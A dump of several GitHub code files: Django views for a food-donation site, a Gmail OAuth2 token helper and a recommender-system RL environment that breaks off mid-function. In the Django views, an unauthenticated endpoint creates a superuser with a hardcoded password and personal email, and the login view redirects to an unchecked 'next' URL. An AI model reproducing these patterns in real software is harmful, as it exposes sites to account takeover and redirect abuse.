print('爬虫关闭')\n\n","repo_name":"YangZewu/python_scrapy_demo","sub_path":"Tencent/Tencent/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37167483197","text":"from django.shortcuts import render\r\nfrom django.shortcuts import redirect\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.admin.views.decorators import staff_member_required\r\nfrom django.contrib.auth import authenticate\r\nfrom django.contrib.auth import login as login_user\r\nfrom django.contrib.auth import logout as logout_user\r\n\r\nfrom FoodSplash import settings\r\nfrom . import models\r\n# Create your views here.\r\n\r\n\r\ndef index(request):\r\n\r\n    return render(request, 'main/index.html', {})\r\n\r\n\r\ndef signup(request):\r\n\r\n    if request.method == \"POST\":\r\n\r\n        if not request.POST.get('password') == request.POST.get('c_password'):\r\n            return render(request, 'main/signup.html', {\"toast\": {\"msg\": \"passwords do not match\", \"cls\": \"red lighten-1\"}})\r\n\r\n        user = models.User()\r\n        user.username = request.POST.get('email')\r\n        user.first_name = request.POST.get('first_name')\r\n        user.last_name = request.POST.get('last_name')\r\n        user.email = request.POST.get('email')\r\n        user.set_password(raw_password=request.POST.get('password'))\r\n        user.save()\r\n\r\n        address = models.Address()\r\n        address.street = request.POST.get('street')\r\n        address.city = request.POST.get('city')\r\n        address.state = request.POST.get('state')\r\n        address.zip = request.POST.get('zip')\r\n        address.save()\r\n\r\n        fs = models.FSUser()\r\n        fs.user = user\r\n        fs.address = address\r\n        fs.save()\r\n\r\n        return render(request, 'main/signup.html', {\"toast\": {\"msg\": \"Successful, please login now\", \"cls\": \"green lighten-1\"}})\r\n\r\n    return render(request, 'main/signup.html', {})\r\n\r\n\r\ndef login(request):\r\n    if request.user.is_authenticated:\r\n        return redirect(\"/console\")\r\n\r\n    if request.method == 'POST':\r\n        username = request.POST['username'].lower().strip()\r\n        password = request.POST['password'].strip()\r\n\r\n        user = authenticate(username=username, password=password)\r\n\r\n        if user is not None:\r\n            login_user(request, user)\r\n\r\n            if request.GET.get('next') is not None:\r\n                return redirect(request.GET['next'])\r\n            return redirect('/console')\r\n\r\n        else:\r\n            return render(request, 'main/login.html', {\r\n                \"continue\": request.GET.get('next'),\r\n                'error': 'invalid',\r\n            })\r\n\r\n    return render(request, 'main/login.html', {\"continue\": request.GET.get('next')})\r\n\r\n\r\n@login_required\r\ndef logout(request):\r\n    logout_user(request)\r\n    return redirect('/login')\r\n\r\n\r\n@login_required()\r\ndef console(request):\r\n    if request.user.is_staff:\r\n        return redirect('/staff')\r\n\r\n    toast = None\r\n\r\n    fs = models.FSUser.objects.get(user=request.user)\r\n    drops = models.DropSite.objects.all()\r\n    dons = models.Donation.objects.filter(fs_user=fs)\r\n\r\n    if request.method == \"POST\":\r\n        drop_site = models.DropSite.objects.get(id=request.POST.get(\"d_id\"))\r\n\r\n        p = models.Promise()\r\n        p.fs_user = fs\r\n        p.drop_site = drop_site\r\n        p.save()\r\n\r\n        send_email(to=fs.user.email, subject=\"Thank You for committing to donate\", body=\"\"\"\r\n            {}, \r\n            Thank you for agreeing to help to your community.\r\n            A reminder that you are responsible for making it to the drop site.\r\n            Please see below for information on when and how to make your donation.\r\n            Please check our website for details on donation policy and the points system.\r\n            You will receive an email when an associate has confirmed that you have followed your commitment.\r\n            Please Don't hesitate to reach out to us about any questions at foodsplashnj@gmail.com \r\n            FoodSplash and your community thank you for your generosity. \r\n\r\n            Drop Site Notes:\r\n            Address: {}\r\n\r\n            Instructions: {}\r\n\r\n            Contact email: {}\r\n\r\n            Thank You,\r\n            - Team FoodSplash\r\n\r\n        \"\"\".format(fs.user.first_name, drop_site.address, drop_site.notes, drop_site.email))\r\n\r\n        toast = {\"msg\": \"Thank You\", \"cls\": \"teal white-text\"}\r\n\r\n    promises = [p.drop_site.id for p in models.Promise.objects.filter(fs_user=fs)]\r\n\r\n    return render(request, 'main/console.html', {\r\n        \"fs\": fs, \"drop_sites\": drops, \"dons\": dons, \"promises\": promises, \"toast\": toast\r\n    })\r\n\r\n\r\n@staff_member_required\r\ndef staff(request):\r\n\r\n    promises = []\r\n    for ds in models.DropSite.objects.all():\r\n        promises.append({\r\n            \"dropsite\": ds,\r\n            \"promises\": models.Promise.objects.filter(drop_site=ds)\r\n        })\r\n\r\n    if request.method == \"POST\":\r\n\r\n        D = request.POST.get\r\n\r\n        if D('form_type') == \"verify\":\r\n            p_id = D('p_id')\r\n            pr = models.Promise.objects.get(id=p_id)\r\n\r\n            u = pr.fs_user\r\n            u.points = u.points + int(D('points'))\r\n            u.save()\r\n\r\n            don = models.Donation()\r\n            don.fs_user = pr.fs_user\r\n            don.drop_site = pr.drop_site\r\n            don.points = int(D('points'))\r\n            don.save()\r\n\r\n            pr.delete()\r\n\r\n            send_email(u.user.email, subject=\"Your contribution was confirmed\", body=\"\"\"\r\n            {},\r\n            Your contribution was just confirmed by our staff and your {} points have been awarded to you. \r\n            When you login you will see that the drop site has been reset for you. This is so you can donate again!\r\n            Your community appreciates your contribution!\r\n            \r\n            Thank You,\r\n            - Team FoodSplash\r\n            \"\"\". format(u.user.first_name, don.points))\r\n\r\n        if D('form_type') == \"dropsite\":\r\n            address = models.Address()\r\n            address.street = D('street')\r\n            address.city = D('city')\r\n            address.state = D('state')\r\n            address.zip = D('zip')\r\n            address.save()\r\n\r\n            ds = models.DropSite()\r\n            ds.address = address\r\n            ds.notes = D('notes')\r\n            ds.email = D('email')\r\n            ds.save()\r\n\r\n    return render(request, 'main/staff.html', {\r\n        \"promises\": promises\r\n    })\r\n\r\n\r\ndef send_email(to, subject, body):\r\n    try:\r\n        if settings.PRODUCTION:\r\n            from google.appengine.api.mail import send_mail\r\n            from google.appengine.ext import deferred\r\n            deferred.defer(send_mail, subject=subject, body=body, sender='FoodSplashNJ@gmail.com', to=to )\r\n\r\n    except Exception as e:\r\n        raise e\r\n\r\n\r\ndef createsuperuser(request):\r\n    \"\"\"\r\n    Creates a superuser only if it does not exist already.\r\n    Should be used on new production environments for easy access to the admin panel\r\n    Redirect to login if successful, else redirect to index\r\n    \"\"\"\r\n\r\n    user = models.User()\r\n    user.username = 'admin'  # change later\r\n    user.email = 'mayaankvad@gmail.com'\r\n    user.set_password(\"qazwsxed\")\r\n    user.is_staff = True\r\n    user.is_superuser = True\r\n\r\n    if models.User.objects.filter(username=user.username).exists():\r\n        return redirect('/')\r\n    else:\r\n        user.save()\r\n        return redirect('/console')\r\n","repo_name":"ashraychowdhry/FoodSplash","sub_path":"FoodSplash/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7196,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"38591195377","text":"import http.server\nimport io\nimport json\nimport logging\nimport optparse\nimport os\nimport select\nimport socketserver\nimport sys\nimport threading\nimport urllib.parse\nimport urllib.request\n\nlogging.basicConfig(\n    format=\"\\033[3;32m(%(levelname).1s) %(asctime)s <%(process)d> [%(filename)s:%(funcName)s:%(lineno)s]\\033[0m %(message)s\",\n    level=logging.DEBUG,\n    datefmt=\"%y-%m-%d %H:%M:%S\",\n)\n\n# Hardcoded dummy redirect URI for non-web apps.\nREDIRECT_URI = \"urn:ietf:wg:oauth:2.0:oob\"\n\n# The URL root for accessing Google Accounts.\nGOOGLE_ACCOUNTS_BASE_URL = \"https://accounts.google.com\"\n\n\ndef require_options(options: optparse.Values, *args: str):\n    missing = [arg for arg in args if getattr(options, arg) is None]\n    if missing:\n        print(\"Missing options: %s\" % \" \".join(missing))\n        sys.exit(-1)\n\n\ndef url_escape(text: str) -> str:\n    # See OAUTH 5.1 for a definition of which characters need to be escaped.\n    return urllib.parse.quote(text, safe=\"~-._\")\n\n\ndef accounts_url(command: str):\n    \"\"\"Generates the Google Accounts URL.\n\n    Args:\n      command: The command to execute.\n\n    Returns:\n      A URL for the given command.\n    \"\"\"\n    return \"%s/%s\" % (GOOGLE_ACCOUNTS_BASE_URL, command)\n\n\ndef format_url_params(params: dict[str, str]) -> str:\n    \"\"\"Formats parameters into a URL query string.\n\n    Args:\n      params: A key-value map.\n\n    Returns:\n      A URL query string version of the given parameters.\n    \"\"\"\n    param_fragments = []\n    for param in sorted(params.items(), key=lambda x: x[0]):\n        param_fragments.append(\"%s=%s\" % (param[0], url_escape(param[1])))\n    return \"&\".join(param_fragments)\n\n\ndef generate_permission_url(\n    client_id: str,\n    redirect_uri: str,\n    scope: str = \"https://mail.google.com/\",\n) -> str:\n    \"\"\"Generates the URL for authorizing access.\n\n    This uses the \"OAuth2 for Installed Applications\" flow described at\n    https://developers.google.com/accounts/docs/OAuth2InstalledApp\n\n    Args:\n      client_id: Client ID obtained by registering your app.\n      scope: scope for access token, e.g. 'https://mail.google.com'\n    Returns:\n      A URL that the user should visit in their browser.\n    \"\"\"\n    params = {}\n    params[\"client_id\"] = client_id\n    params[\"redirect_uri\"] = redirect_uri\n    params[\"scope\"] = scope\n    params[\"response_type\"] = \"code\"\n    return \"%s?%s\" % (accounts_url(\"o/oauth2/auth\"), format_url_params(params))\n\n\ndef authorize_tokens(\n    client_id: str,\n    client_secret: str,\n    redirect_uri: str,\n    authorization_code: str,\n) -> tuple[str, str, int] | None:\n    \"\"\"Obtains OAuth access token and refresh token.\n\n    This uses the application portion of the \"OAuth2 for Installed Applications\"\n    flow at https://developers.google.com/accounts/docs/OAuth2InstalledApp#handlingtheresponse\n\n    Args:\n      client_id: Client ID obtained by registering your app.\n      client_secret: Client secret obtained by registering your app.\n      authorization_code: code generated by Google Accounts after user grants\n          permission.\n    Returns:\n      The decoded response from the Google Accounts server, as a tuple:\n      (access_token, refresh_token, expires_in).\n    \"\"\"\n    params = {}\n    params[\"client_id\"] = client_id\n    params[\"client_secret\"] = client_secret\n    params[\"code\"] = authorization_code\n    params[\"redirect_uri\"] = redirect_uri\n    params[\"grant_type\"] = \"authorization_code\"\n    request_url = accounts_url(\"o/oauth2/token\")\n\n    try:\n        response = urllib.request.urlopen(\n            request_url, data=urllib.parse.urlencode(params).encode(\"utf8\")\n        ).read()\n        res = json.loads(response)\n        return res[\"access_token\"], res[\"refresh_token\"], res[\"expires_in\"]\n    except Exception as e:\n        logging.error(e)\n        return None\n\n\ndef refresh_token(\n    client_id: str, client_secret: str, refresh_token: str\n) -> tuple[str, int] | None:\n    \"\"\"Obtains a new token given a refresh token.\n\n    See https://developers.google.com/accounts/docs/OAuth2InstalledApp#refresh\n\n    Args:\n      client_id: Client ID obtained by registering your app.\n      client_secret: Client secret obtained by registering your app.\n      refresh_token: A previously-obtained refresh token.\n    Returns:\n      The decoded response from the Google Accounts server, as a tuple:\n      (access_token, expires_in).\n    \"\"\"\n    params = {}\n    params[\"client_id\"] = client_id\n    params[\"client_secret\"] = client_secret\n    params[\"refresh_token\"] = refresh_token\n    params[\"grant_type\"] = \"refresh_token\"\n    request_url = accounts_url(\"o/oauth2/token\")\n\n    try:\n        response = urllib.request.urlopen(\n            request_url, data=urllib.parse.urlencode(params).encode(\"utf8\")\n        ).read()\n        res = json.loads(response)\n        return res[\"access_token\"], res[\"expires_in\"]\n    except Exception as e:\n        logging.error(e)\n        return None\n\n\nclass GetAuthCodeHandler(http.server.BaseHTTPRequestHandler):\n    def __init__(\n        self, opts: optparse.Values, redirect_uri: str, fd: int, *args, **kwargs\n    ):\n        self.opts = opts\n        self.redirect_uri = redirect_uri\n        self.fd = fd\n        super().__init__(*args, **kwargs)\n\n    def log_message(self, format, *args):\n        pass\n\n    def log_error(self, format, *args):\n        pass\n\n    def log_request(self, code=\"-\", size=\"-\"):\n        pass\n\n    def do_GET(self):\n        query = self.path\n        if \"?\" in query:\n            _, query = query.split(\"?\", 1)\n        qs = urllib.parse.parse_qs(query)\n\n        [authorization_code] = qs.get(\"code\", [\"None\"])\n        # os.write(self.fd, f\"{authorization_code}\\n\".encode(\"utf8\"))\n\n        res_json = {}\n        response = authorize_tokens(\n            opts.client_id,\n            opts.client_secret,\n            self.redirect_uri,\n            authorization_code,\n        )\n\n        if response is None:\n            res_json[\"message\"] = \"query fail\"\n        else:\n            access_token, refr_token, expires_in = response\n            res_json[\"Refresh Token\"] = refr_token\n            res_json[\"Access Token\"] = access_token\n            res_json[\"Access Token Expiration Seconds\"] = expires_in\n\n        self.send_response(200, \"OK\")\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps(res_json).encode(\"utf8\"))\n\n\ndef handle_authorize_tokens_redirect(\n    opts: optparse.Values, redirect_uri: str, pipe_write: int\n):\n    socketserver.TCPServer.allow_reuse_address = True\n    httpd = socketserver.TCPServer(\n        (\"\", opts.redirect_port),\n        lambda *_: GetAuthCodeHandler(opts, redirect_uri, pipe_write, *_),\n    )\n    httpd.handle_request()\n    os.write(pipe_write, b\".\")\n\n\ndef get_authorize_tokens(opts: optparse.Values):\n    redirect_uri = f\"http://{opts.redirect_ip}:{opts.redirect_port}\"\n    require_options(opts, \"client_id\", \"client_secret\")\n    permission_url = generate_permission_url(\n        opts.client_id,\n        redirect_uri,\n        opts.scope,\n    )\n\n    pipe_read, pipe_write = os.pipe()\n    # sys.stdin = io.FileIO(pipe_read)\n    t = threading.Thread(\n        target=handle_authorize_tokens_redirect,\n        args=(\n            opts,\n            redirect_uri,\n            pipe_write,\n        ),\n    )\n    t.daemon = True\n    t.start()\n\n    print(\"To authorize token, visit this url and follow the directions:\")\n    print(f\"    {permission_url}\")\n    sys.stdout.write(\"Enter verification code: \")\n    sys.stdout.flush()\n\n    readable, _, _ = select.select([sys.stdin, pipe_read], [], [])\n    if pipe_read in readable:\n        return\n\n    authorization_code = sys.stdin.readline()\n    response = authorize_tokens(\n        opts.client_id,\n        opts.client_secret,\n        redirect_uri,\n        authorization_code,\n    )\n    if response is None:\n        sys.exit(-1)\n    access_token, refr_token, expires_in = response\n    print(f\"Refresh Token: {refr_token}\")\n    print(f\"Access Token: {access_token}\")\n    print(f\"Access Token Expiration Seconds: {expires_in}\")\n\n\nif __name__ == \"__main__\":\n    parser = optparse.OptionParser(usage=__doc__)\n    parser.add_option(\n        \"--generate_oauth2_token\",\n        action=\"store_true\",\n        dest=\"generate_oauth2_token\",\n        help=\"generates an OAuth2 token for testing\",\n    )\n    parser.add_option(\n        \"--refresh_token\", default=None, help=\"OAuth2 refresh token\"\n    )\n    parser.add_option(\n        \"--client_id\",\n        type=str,\n        dest=\"client_id\",\n        help=\"Client ID of the application that is authenticating. \"\n        \"See OAuth2 documentation for details.\",\n    )\n    parser.add_option(\n        \"--client_secret\",\n        type=str,\n        dest=\"client_secret\",\n        help=\"Client secret of the application that is authenticating. \"\n        \"See OAuth2 documentation for details.\",\n    )\n    parser.add_option(\n        \"--scope\",\n        type=str,\n        dest=\"scope\",\n        default=\"https://mail.google.com/\",\n        help=\"scope for the access token. Multiple scopes can be listed \"\n        \"separated by spaces with the whole argument quoted.\",\n    )\n    parser.add_option(\n        \"--redirect_ip\",\n        type=str,\n        dest=\"redirect_ip\",\n        default=\"127.0.0.1\",\n        help=\"determines the IP how Google's authorization server sends a response\",\n    )\n    parser.add_option(\n        \"--redirect_port\",\n        type=int,\n        dest=\"redirect_port\",\n        default=8080,\n        help=\"determines the port how Google's authorization server sends a response\",\n    )\n    opts, _ = parser.parse_args()\n\n    if opts.generate_oauth2_token:\n        get_authorize_tokens(opts)\n    elif opts.refresh_token:\n        require_options(opts, \"client_id\", \"client_secret\")\n        response = refresh_token(\n            opts.client_id, opts.client_secret, opts.refresh_token\n        )\n        if response is None:\n            sys.exit(-1)\n        access_token, expires_in = response\n        print(f\"Access Token: {access_token}\")\n        print(f\"Access Token Expiration Seconds: {expires_in}\")\n","repo_name":"solomonwzs/dotfiles","sub_path":"python/gmail_oauth2_token.py","file_name":"gmail_oauth2_token.py","file_ext":"py","file_size_in_byte":10044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21181719820","text":"\nimport json\nimport numpy as np\nimport os\nimport random\nfrom utils import *\nimport itertools\nfrom tkinter import _flatten\nfrom collections import Counter\nclass BinaryRecommendEnv(object):\n    def __init__(self, kg, dataset, data_name, seed=1, max_turn=15, bit_length=20, attr_bit_state=20, mode='train', command=1, ask_num=1, entropy_way='weight entropy', fm_epoch=0):\n        self.data_name = data_name\n        self.command = command\n        self.mode = mode\n        self.seed = seed\n        self.max_turn = max_turn    #conversation maximum turns\n        self.attr_bit_state = attr_bit_state  # The number of binary bits to record the entropy of features\n        self.bit_length = bit_length # The number of binary bits to record the number of candidate items\n        self.kg = kg\n        self.dataset = dataset\n        self.feature_length = getattr(self.dataset, 'feature').value_len\n        self.user_length = getattr(self.dataset, 'user').value_len\n        self.item_length = getattr(self.dataset, 'item').value_len\n\n        # action parameters\n        self.ask_num = ask_num\n        self.rec_num = 10\n        #  entropy  or weight entropy\n        self.ent_way = entropy_way\n\n        # user's profile\n        self.reachable_feature = []   # user reachable feature\n        self.user_acc_feature = []  # user accepted feature which asked by agent\n        self.user_rej_feature = []  # user rejected feature which asked by agent\n        self.cand_items = []   # candidate items\n\n        #user_id  item_id   cur_step   cur_node_set\n        self.user_id = None\n        self.target_item = None\n        self.cur_conver_step = 0        #  the number of conversation in current step\n        self.cur_node_set = []     # maybe a node or a node set  /   normally save feature node\n        # state veactor\n        self.user_embed = None\n        self.conver_his = []    #conversation_history\n        self.cand_item_num = []    #the number of candidate items  [binary ]\n        self.attr_ent = []  # attribute entropy\n\n        self.ui_dict = self.__load_rl_data__(data_name, mode=mode)  # np.array [ u i weight]\n        self.user_weight_dict = dict()\n        self.user_items_dict = dict()\n\n        #init seed & init user_dict\n        set_random_seed(self.seed) # set random seed\n        if mode == 'train':\n            self.__user_dict_init__() # init self.user_weight_dict  and  self.user_items_dict\n        elif mode == 'test':\n            self.ui_array = None    # u-i array [ [userID1, itemID1], ...,[userID2, itemID2]]\n            self.__test_tuple_generate__()\n            self.test_num = 0\n        # === Init feature_map ( used for printing real_name feature path)\n        self.__load_feature_map(self.data_name)\n        # embeds = {\n        #     'ui_emb': ui_emb,\n        #     'feature_emb': feature_emb\n        # }\n        # load fm epoch\n        embeds = load_embed(data_name, epoch=fm_epoch)\n        self.ui_embeds =embeds['ui_emb']\n        self.feature_emb = embeds['feature_emb']\n        # self.feature_length = self.feature_emb.shape[0]-1\n\n        self.action_space = 2\n\n\n        self.state_space_dict = {\n            1: self.max_turn + self.bit_length + self.attr_bit_state + self.ui_embeds.shape[1],\n            2: self.attr_bit_state,  # attr_ent\n            3: self.max_turn,  #conver_his\n            4: self.bit_length,  #cand_item\n            5: self.ui_embeds.shape[1], # user_embedding\n            6: self.bit_length + self.attr_bit_state + self.max_turn, #attr_ent + conver_his + cand_item\n            7: self.bit_length + self.max_turn,\n        }\n        self.state_space = self.state_space_dict[self.command]\n        self.reward_dict = {\n            'ask_suc': 0.01,\n            'ask_fail': -0.1,\n            'rec_suc': 1,\n            'rec_fail': -0.1,\n            'until_T': -0.3,      # MAX_Turn\n            'cand_none': -0.1\n        }\n        self.history_dict = {\n            'ask_suc': 1,\n            'ask_fail': -1,\n            'rec_scu': 2,\n            'rec_fail': -2,\n            'until_T': 0\n        }\n        self.attr_count_dict = dict()   # This dict is used to calculate entropy\n\n    def __load_rl_data__(self, data_name, mode):\n        if mode == 'train':\n            with open(os.path.join(DATA_DIR[data_name], 'UI_Interaction_data/review_dict_valid.json'), encoding='utf-8') as f:\n                print('train_data: load RL valid data')\n                mydict = json.load(f)\n        elif mode == 'test':\n            with open(os.path.join(DATA_DIR[data_name], 'UI_Interaction_data/review_dict_test.json'), encoding='utf-8') as f:\n                print('test_data: load RL test data')\n                mydict = json.load(f)\n        return mydict\n\n\n    def __user_dict_init__(self):   #Calculate the weight of the number of interactions per user\n        ui_nums = 0\n        for items in self.ui_dict.values():\n            ui_nums += len(items)\n        for user_str in self.ui_dict.keys():\n            user_id = int(user_str)\n            self.user_weight_dict[user_id] = len(self.ui_dict[user_str])/ui_nums\n        print('user_dict init successfully!')\n\n    def __test_tuple_generate__(self):\n        ui_list = []\n        for user_str, items in self.ui_dict.items():\n            user_id = int(user_str)\n            for item_id in items:\n                ui_list.append([user_id, item_id])\n        self.ui_array = np.array(ui_list)\n        np.random.shuffle(self.ui_array)\n    def __load_feature_map(self, data_name):\n        ID_MAP_DIR = DATA_DIR[data_name] + '/ID_map_info'\n        FEATURE_FILE_DICT = {\n            LAST_FM: 'tag_reverse_map.json',\n            LAST_FM_STAR: 'tag_reverse_map.json',\n            YELP_STAR: 'second-layer_tag_reverse_map.json',\n        }\n        with open(os.path.join(ID_MAP_DIR, FEATURE_FILE_DICT[data_name]),\n                  encoding='utf-8') as f:\n            self.feature_reverse_map = json.load(f)\n            print('feature_reverse_map init successfully!')\n\n    def fea_map(self, fea_id):\n        return self.feature_reverse_map[str(fea_id)][\"real_name\"]\n\n    def reset(self):\n        # === 1. init  user_id  item_id  cur_step   cur_node_set\n        self.cur_conver_step = 0   #reset cur_conversation step\n        self.cur_node_set = []   #maybe a (feature) node or a (feature) node set  /  depend on  {args.ask_num & user_accept feature num}\n        if self.mode == 'train':\n            users = list(self.user_weight_dict.keys())\n            # self.user_id = np.random.choice(users, p=list(self.user_weight_dict.values())) # select user  according to user weights\n            self.user_id = np.random.choice(users)\n            self.target_item = np.random.choice(self.ui_dict[str(self.user_id)])\n        elif self.mode == 'test':\n            self.user_id = self.ui_array[self.test_num, 0]\n            self.target_item = self.ui_array[self.test_num, 1]\n            self.test_num += 1\n\n        # init user's profile\n        cprint(\"-----------Reset Conversational Recomendation!------------\")\n        print('user_id:{}, target_item:{}'.format(self.user_id, self.target_item))\n        self.feature_groundtrue = self.kg.G['item'][self.target_item]['belong_to']\n        self.reachable_feature = []  # user reachable feature in cur_step\n        self.user_acc_feature = []  # user accepted feature which asked by agent\n        self.user_rej_feature = []  # user rejected feature which asked by agent\n        self.cand_items = list(range(self.item_length))\n\n        # === 2. init  state vector [Reinforcement learning input]\n        self.user_embed = self.ui_embeds[self.user_id].tolist()  # init user_embed   np.array---list\n        self.conver_his = [0] * self.max_turn  # conversation_history\n        self.cand_item_num = [self.feature_length >> d & 1 for d in range(self.bit_length)][::-1]  #Binary representation of candidate set length\n        self.attr_ent = [0] * self.attr_bit_state  # attribute entropy\n\n        # ===============    Transition Stage ===========\n        # === 3. [Turn-1 init user prefer feature]\n        user_init_fea = self._user_init_prefer_feature(user_init_prefer_fea_num=1)\n        # --- 3.1 update user's profile : self.user_acc_feature\n        self._update_user_profile(acc_feature=user_init_fea, rej_feature=[])\n\n        # === 4. init Graph path reasoning\n        # --- 4.1 init jump path : from user to user's init feature\n        self._update_cur_node_set(acc_feature_node=user_init_fea)  # == [latest jump point(set) on the graph] ===\n\n        # --- 4.2 update reachable feature from current feature node\n        self._updata_reachable_feature()  # User init prefered feature & update reachable_feature & update self.cur_node_set\n        self._remove_asked_reachable_fea()  # remove init user's prefered feature from reachable feature\n        print('Number of reachable features: {}'.format(len(self.reachable_feature)))\n        # --- 4.3 output jumping log\n        self._graph_path_extend(user_start=True, acc_feature_node=self.user_acc_feature.copy())  # Update graph path\n\n        # === 5. update conversational feedback & state_vector(self.conver_his) [RL reward & turn idx]\n        # --- 5.1 update RL input : conversational history encode\n        self.conver_his[self.cur_conver_step] = self.history_dict['ask_suc']\n        self.cur_conver_step += 1  # the number of conversation in current step\n        # --- 5.2  update RL input : the info of candidate items length & update cand_items\n        self._update_cand_items(acc_feature=self.user_acc_feature, rej_feature=[])\n        print(f'===Number of candidate items: [{len(self.cand_items)}]')\n        # === 5.3  update feature_entropy\n        self._update_feature_entropy()  #update entropy\n\n\n        # === 6. score reachable_feature & sort the score\n        self._mini_sort_reachable_feature()  # move the top-k (k=ask_num) reachable feature to the front\n        return self._get_state()\n\n\n\n    def _get_state(self):\n        if self.command == 1:\n            state = [self.user_embed, self.conver_his, self.attr_ent, self.cand_item_num]\n            state = list(_flatten(state))\n        elif self.command == 2: #attr_ent\n            state = self.attr_ent\n            state = list(_flatten(state))\n        elif self.command == 3: #conver_his\n            state = self.conver_his\n            state = list(_flatten(state))\n        elif self.command == 4: #cand_len\n            state = self.cand_item_num\n            state = list(_flatten(state))\n        elif self.command == 5:  #user_embedding\n            state = self.user_embed\n            state = list(_flatten(state))\n        elif self.command == 6: #attr_ent + conver_his + cand_len\n            state = [self.conver_his, self.attr_ent, self.cand_item_num]\n            state = list(_flatten(state))\n        elif self.command == 7: #conver_his + cand_len\n            state = [self.conver_his, self.cand_item_num]\n            state = list(_flatten(state))\n        return state\n\n    def step(self, action):   #action:0  ask   action:1  recommend   setp=MAX_TURN  done\n        done = 0\n        print('---------------step:{}-------------'.format(self.cur_conver_step))\n\n        if self.cur_conver_step == self.max_turn:\n            reward = self.reward_dict['until_T']\n            self.conver_his[self.cur_conver_step-1] = self.history_dict['until_T']\n            print('--> Maximum number of turns reached !')\n            done = 1\n        elif action == 0:   #ask feature\n            print('-->action: ask features')\n            reward, done, acc_feature, rej_feature = self._agent_ask_user_response(\n                ask_num=self.ask_num)  # update user's profile:  user_acc_feature & user_rej_feature\n            if done == 1: #  reachable feature set is empty\n                cprint(f'There are no attributes to ask!')\n                return self._get_state(), reward, done\n\n            # -------------------------------------------------------\n            # == update cand_items & state_vector(self.cand_item_num)\n            self._update_cand_items(acc_feature, rej_feature)  # %%% only consider accepted features! See 'CPR' paper! %%%\n            # == update user's profile : self.user_acc_feature, self.user_rej_feature\n            self._update_user_profile(acc_feature, rej_feature)\n\n            if len(acc_feature):  # can reach new feature：  update current node and reachable_feature\n                print(f'--> User accept feature : {acc_feature}{tuple(map(self.fea_map, acc_feature))}')\n                self._graph_path_extend(acc_feature_node=acc_feature)  # ==1. Update graph path\n                self._update_cur_node_set(acc_feature_node=acc_feature)  # ==2. Update self.cur_node_set\n                self._updata_reachable_feature()  # ==3. Update reachable_feature\n                self._remove_asked_reachable_fea()  # -- 3.1 remove asked features from reachable feature\n                self.item_score_compute_flag = True  # Item scores are calculated when using the weighting entropy method\n\n                if self.command in [1, 2, 6, 7]:  # == update feature's entropy\n                    self._update_feature_entropy(item_score_compute=self.item_score_compute_flag)\n\n            elif len(rej_feature):  # update reachable feature\n                self._remove_asked_reachable_fea()  # --  remove asked features from reachable feature\n                for rej_fea_id in rej_feature:  # update feature's entropy\n                    self.attr_ent[rej_fea_id] = 0\n                print(f'--> User ignore(reject) feature : {rej_feature}{tuple(map(self.fea_map, rej_feature))}')\n\n            if self.reachable_feature != []:\n                self._mini_sort_reachable_feature()  # move the top-k (k=ask_num) reachable feature to the front\n\n\n\n        elif action == 1:  #recommend items\n            print('-->action: recommend items')\n            # ===  Get items which sort by predictional model ===\n\n            if self.conver_his[self.cur_conver_step - 1] in [self.history_dict['rec_fail']]:\n                # If the agent's recommendation failed in last turn, there is no need to re-sort items\n                pass\n            else:\n                cand_item_score = self._item_score()\n                self.item_score_compute_flag = False  # Item scores has been computed\n\n                item_score_tuple = list(zip(self.cand_items, cand_item_score))\n                sort_tuple = sorted(item_score_tuple, key=lambda x: x[1],\n                                    reverse=True)  # update cand_items : sorted by score\n                self.cand_items, self.cand_item_score = zip(*sort_tuple)\n\n                # -------------------------------------------------------\n            # == Get feedback from the user when agent recommend items ==\n            reward, done = self._agent_rec_user_response(rec_num=self.rec_num)  # update agent: self.cand_item\n            # -------------------------------------------------------\n\n            # == update cand_items & state_vector(self.cand_item_num)\n            self._update_cand_items(acc_feature=[], rej_feature=[], rec_suc=bool(done))\n\n            #========================================\n            if reward == 1:\n                self._graph_path_extend(item_end=True)  # Update graph path\n                print('-->Recommend successfully!')\n            else:\n                if self.command in [1, 2, 6, 7]:  # update attr_ent\n                    self._update_feature_entropy(item_score_compute=self.item_score_compute_flag)\n                    self._mini_sort_reachable_feature()  # move the top-k (k=ask_num) reachable feature to the front\n                print('-->Recommend fail !')\n\n        print('~~~~~~~~ dialog state info ~~~~~~~~~')\n        # === print user's profile ===\n        print(f\"===User accept features: [{self.user_acc_feature}]{tuple(map(self.fea_map, self.user_acc_feature))}\")\n        print(\n            f\"===User ignore(weak reject) features: [{self.user_rej_feature}]{tuple(map(self.fea_map, self.user_rej_feature))}\")\n        # === print agent's info ===\n        print(f'===Number of Graph reachable feature: [{len(self.reachable_feature)}]')\n        print(f'===Number of candidate items: [{len(self.cand_items)}]')\n        self.cur_conver_step += 1\n        return self._get_state(), reward, done\n\n    def _graph_path_extend(self, user_start=False, item_end=False, acc_feature_node=None):\n\n        if user_start is True:\n            self.graph_path = [f'User node:[{self.user_id}]'] + [f'feature node:{acc_feature_node}{tuple(map(self.fea_map, acc_feature_node))}']\n            cprint(f'[Graph Path Jump] User node:[{self.user_id}] -->  feature node:{acc_feature_node}{tuple(map(self.fea_map, acc_feature_node))}')\n        elif item_end is True:\n            # == perform path jump when user accept item that recommended by agent\n            cprint(f'[Graph Path Jump] feature node:{self.cur_node_set}{tuple(map(self.fea_map, self.cur_node_set))} -->  Item node:{self.cand_items}')\n            self.graph_path = self.graph_path + [f'Item node:{self.cand_items}']\n        else:\n            # == perform path jump when user accept new feature that asked by agent\n            cprint(f'[Graph Path Jump] feature node:{self.cur_node_set}{tuple(map(self.fea_map, self.cur_node_set))} -->  feature node:{acc_feature_node}{tuple(map(self.fea_map, acc_feature_node))}')\n            self.graph_path = self.graph_path + [f'feature node:{acc_feature_node}{tuple(map(self.fea_map, acc_feature_node))}']\n\n\n    def _update_cur_node_set(self, acc_feature_node):\n        # == [latest jump point(set) on the graph] ===\n        self.cur_node_set = acc_feature_node  # update current_feature_node set on the graph\n\n    def _user_init_prefer_feature(self, user_init_prefer_fea_num=1):\n        # 